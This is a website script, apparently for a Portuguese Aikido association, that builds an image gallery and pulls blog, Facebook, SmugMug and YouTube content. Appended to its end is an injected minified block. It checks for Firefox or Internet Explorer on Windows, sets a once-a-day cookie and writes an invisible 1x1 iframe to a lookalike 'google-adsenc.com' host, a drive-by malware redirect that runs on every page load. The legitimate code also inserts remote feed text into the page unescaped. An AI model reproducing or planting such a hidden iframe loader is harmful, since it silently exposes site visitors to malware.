var _duration = 500;
var g_duration = 500;
var s_t;

//-------------------------------------------------------------------------------------------------------------
// POPUP LAYER

function initPopup(_ind)
{
	var _shadow = $('#overlay');
	var _h = document.documentElement.clientHeight;
	if(_h < document.body.offsetHeight) _h = document.body.offsetHeight;
	s_t = document.documentElement.scrollTop;
	
	if(_ind > 0){ _shadow.css({'height': _h, 'display': 'block'}).animate({opacity:0.85}, _duration);}
	else if(_ind < 0){ _shadow.animate({opacity:0}, _duration, function(){ $(this).css('display', 'none')});}
	else{_shadow.css({'display': 'none', 'opacity': 0});}
	
}

//-------------------------------------------------------------------------------------------------------------
// GALLERY

function initGallery()
{
	initPopup();
	var _hold = $('#gallery');
	var btn_prev = $('#prev-link', _hold).css('display','block');
	var btn_next = $('#next-link', _hold).css('display','block');
	var btn_close = $('#close-link', _hold);
	var img_hold = $('.img-container', _hold);
	var img_text = $('.img-data', _hold);
	var g_list;
	
	var _active = 0;
	
	var _btn = $('.column .lightbox-button').click ( function ()
	{
		var list_h = $('.img-big', $(this).parent()).eq(0);
		_active = 0;
		for(var i = 0 ; i < $('img',list_h).length ; i++) if($('img',list_h).eq(i).hasClass('active')) _active = i;
		if($('img', list_h).length > 0){
			initPopup(1);
			_hold.css('top', s_t + 100);
			$('.img-hold', img_hold).html(list_h.html());
			_hold.fadeIn(_duration);
			g_list = $('.img-hold img', img_hold);
			anim_gal();
		}
		return false;
	});

	function anim_gal(){
		g_list.css('display', 'none');
		img_text.css('top', -img_text.get(0).offsetHeight);
		btn_prev.css('display', 'none');
		btn_next.css('display', 'none');
		
		var _w = g_list.eq(_active).width() + 20;
		var _h = g_list.eq(_active).height() + 20;
		
		
		if(_active == 0) btn_prev.css('display', 'none');
		if(_active == g_list.length - 1) btn_next.css('display', 'none');
		$('strong', img_text).text(g_list.eq(_active).attr('alt'));
		$('p', img_text).text('Imagem ' +  (_active+1) + ' de ' + g_list.length);
		
		img_hold.animate({ height: _h}, g_duration, function(){
			img_hold.animate({width: _w }, g_duration);
			img_text.animate({ width: _w }, g_duration);
		});
		setTimeout(function(){g_list.eq(_active).fadeIn(500, function(){
				img_text.animate({top:0}, 400, function(){
					if( _active != 0) btn_prev.css('display', 'block');
					if( _active != g_list.length - 1) btn_next.css('display', 'block');
				});
			});
		}, g_duration*2);
	}
	btn_close.click(function(){
		initPopup(-1);
		_hold.fadeOut(_duration);
		return false;
	});
	btn_prev.click(function(){
		_active--;
		anim_gal();
		return false;
	});
	btn_next.click(function(){
		_active++;
		anim_gal();
		return false;
	});
}

//-------------------------------------------------------------------------------------------------------------
// GET UPA BLOG POSTS

// GET UPA PERMANENTE

function getBLOGPermanente()
{
	/*
	CAT = 12 ID da categoria Permanente no blog da UPA
	*/

	$.getJSON ( "http://www.upaikido.org/blog/feed/?cat='12'&feed=json&jsonp=?", null, function ( result )
	{
		$('#permanente h3').remove();
		if (result.length>0)
		{
			var ps = result[0];
			var id = '#permanente';
			$(id).hide(0);
			$(id).append ('<h3 class="subtitle"><a href="' + ps.permalink + '" target="_blank">' + ps.title + '</a></h3>');
			$(id).append ('<h6 class="date">' + ps.date + '</h6>');
			$(id).append ('<p>' + ps.excerpt + ' <a class="readmore" target="_blank" href="' + ps.permalink + '">Ler +</a></p>');
			$(id).fadeIn(1000);
			result = id = ps = null;
		}
	});
}

// GET UPA DESTAQUE

function getBLOGDestaque()
{
	/*
	CAT = 11 ID da categoria Destaque no blog da UPA
	*/

	$.getJSON ( "http://www.upaikido.org/blog/feed/?cat='11'&feed=json&jsonp=?", null, function ( result )
	{
		$('#destaque h3').remove();
		if (result.length>0)
		{
			var ps = result[0];
			var id = '#destaque';
			$(id).hide(0);
			$(id).append ('<h3 class="subtitle"><a href="' + ps.permalink + '" target="_blank">' + ps.title + '</a></h3>');
			$(id).append ('<h6 class="date">' + ps.date + '</h6>');
			$(id).append ('<p>' + ps.excerpt + ' <a class="readmore" target="_blank" href="' + ps.permalink + '">Ler +</a></p>');
			$(id).fadeIn(1000); 
			result = id = ps = null;
		}
	});
}

// GET UPA DIRECCAO

function getBLOGDireccao()
{
	/*
	CAT = 3 ID da categoria Direccao no blog da UPA
	*/

	$.getJSON ( "http://www.upaikido.org/blog/feed/?cat='3'&feed=json&jsonp=?", null, function ( result )
	{
		$('#direccao h3').remove();

		if (result.length>0)
		{
			var ps = result[0];
			var id = '#direccao';
			$(id).hide(0);
			$(id).append ('<h3 class="subtitle"><a href="' + ps.permalink + '" target="_blank">' + ps.title + '</a></h3>');
			$(id).append ('<h6 class="date">' + ps.date + '</h6>');
			$(id).append ('<p>' + ps.excerpt + ' <a class="readmore" target="_blank" href="' + ps.permalink + '">Ler +</a></p>');
			$(id).fadeIn(1000);
			result = id = ps = null;
		}
	});
}

/// GET BLOG NEWS

function getBLOGNews()
{
	/*
	CAT = 13 ID da categoria Noticia no blog da UPA
	*/

	$.getJSON ( "http://www.upaikido.org/blog/feed/?cat='13'&feed=json&jsonp=?", null, function ( result )
	{
		$('#news-1 h3').remove();
		if (result.length>0)
		{
			for ( var i=0; i<3; i++ )
			{
				var id = '#news-' + (i+1);
				$(id).hide(0);
				$(id).append ('<h3 class="subtitle"><a href="' + result[i].permalink + '" target="_blank">' + result[i].title + '</a></h3>');
				$(id).append ('<h6 class="date">' + result[i].date + '</h6>');
				$(id).append ('<p>' + result[i].excerpt + ' <a class="readmore" target="_blank" href="' + result[i].permalink + '">Ler +</a></p>');
				$(id).delay(i*200).fadeIn(1000); 
			}
			result = null;
		}
		else {$('#news').remove();}
	});
}

//-------------------------------------------------------------------------------------------------------------
// GET UPA POSTS

function getSmugPhotos ()
{
	/*
	<img src="[url]" alt="[file name]" class="active" />
	<img src="[url]" alt="[file name]" />
	...
	*/

	$.smugmug.login.anonymously ( function ()
	{
		// GET ALBUMS
		$.smugmug.albums.get ( { NickName: 'upaikido', Heavy: 0 }, function ( albums )
		{
			// RECORD LATEST ALBUM. FIRST ARRAY ELEMENT
			var id = albums.Albums[0].id;

			// APPLY ALBUM TITLE
			$('#album-title').text (albums.Albums[0].Title);

			// CLEAN MEMORY
			albums = null;

			// GET ALBUM FOTOS
			$.smugmug.login.anonymously ( function()
			{
				$.smugmug.images.get ( { NickName: 'upaikido', AlbumID: id, Heavy: 1 }, function ( result )
				{
					var images = result.Images.slice (0,10);
					$.each ( images, function ()
					{
						$('.img-big').append("<img src='" +  this.MediumURL + "' alt='" + this.FileName + "'  />");
					});
					initGallery ();
				});

				images = result = null;
			});
		});
	});
}

//-------------------------------------------------------------------------------------------------------------
// GET UPA FACEBOOK

function getFacebook ()
{
	// Set Url of JSON data from the facebook graph api. make sure callback is set with a '?' to overcome the cross domain problems with JSON
	// var url = "http://graph.facebook.com/upaikido/feed?limit=2&callback=?";
	var url = 'https://graph.facebook.com/116180445091028/feed?limit=2&callback=?';

	//Use jQuery getJSON method to fetch the data from the url and then create our unordered list with the relevant data.
	$.getJSON ( url, function ( json )
	{
		$('#facebookfeed').html('');
		var html = '<ul style="margin:0;padding:0;list-style:none;">';

		//loop through and within data array's retrieve the message variable.
		$.each ( json.data, function ( i, fb )
		{
			var msg = fb.description? fb.description : fb.message;
			if (msg)
			{
				msg = msg.split (" ");
				msg = msg.splice (0, 20);
				msg = msg.join (' ');
			}

			html += '<li class="facebook-message">';
			html += 	'<img style="float:left;margin-right:10px;" src="' + fb.icon + '" />';
			html += 	'<a target="_blank" href="' + fb.link + '">';
			html += 		'<h3 class="subtitle">' + ((fb.name)? fb.name : 'Uni&atilde;o Portuguesa de Aikido') + '</h3>';
			html += 	'</a>';
			html += 	'<p>' + msg + '...';
			html += 		'<a class="readmore" target="_blank" href="' + fb.link + '">Ler +</a>';
			html += 	'</p>';
			html += "</li>";
		});

		html += "</ul>";
		$('#facebookfeed').append(html);

		html = null;
	});
}

//-------------------------------------------------------------------------------------------------------------
// HIDE NOSCRIPT TAG

function hideNoScript () { $('noscript').css( "display", 'none' ); }

//-------------------------------------------------------------------------------------------------------------
// INIT FUNCTIONS

if (window.addEventListener)
{
	window.addEventListener("load", hideNoScript, false);
	window.addEventListener("load", getBLOGPermanente, false);
	window.addEventListener("load", getBLOGDestaque, false);
	window.addEventListener("load", getBLOGDireccao, false);
	window.addEventListener("load", getBLOGNews, false);
	window.addEventListener("load", getFacebook, false);
	window.addEventListener("load", getSmugPhotos, false);
}
else if (window.attachEvent && !window.opera)
{
	window.attachEvent("onload", hideNoScript);
	window.attachEvent("onload", getBLOGPermanente);
	window.attachEvent("onload", getBLOGDestaque);
	window.attachEvent("onload", getBLOGDireccao);
	window.attachEvent("onload", getBLOGNews);
	window.attachEvent("onload", getFacebook);
	window.attachEvent("onload", getSmugPhotos);
}

//-------------------------------------------------------------------------------------------------------------
// GET UPA YOUTUBE


function showYoutTubeVideo ( data )
{
	var entries = data.feed.entry;
	var entry = data.feed.entry[Math.floor(Math.random()*(entries.length-1))];
	var title = entry? entry.title.$t : 'Aikido Nebi Vural Sensei';
	var video = entry? entry.media$group.media$content[0].url + '&amp;fs=1&amp;hd=1&amp;rel=0&amp;color1=0x414133&amp;color2=0x62624c' : 'http://www.youtube.com/v/1pgCVXbKy-E&amp;fs=1&amp;hd=1&amp;rel=0&amp;color1=0x414133&amp;color2=0x62624c';

	// TITLE
	$('#youtube h6').text(title);

	var flashvars =
	{
		'playerMode':'embedded'
	};
	var params =
	{
		'wmode':'transparent',
		'allowFullScreen':'true',
		'movie':video
	};
	var attributes =
	{
		'id':'flash',
		'data':video,
		'width':'280',
		'height':'200'
	};

	swfobject.embedSWF ( video, "YouTubeVideo", "280", "200", "10.0.0","assets/swf/expressInstall.swf", flashvars, params, attributes);

	// swfobject.registerobject("flash", "8.0.0", "assets/swf/expressInstall.swf");

	entries = entry = title = video = flashvars = params = attributes = null;
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
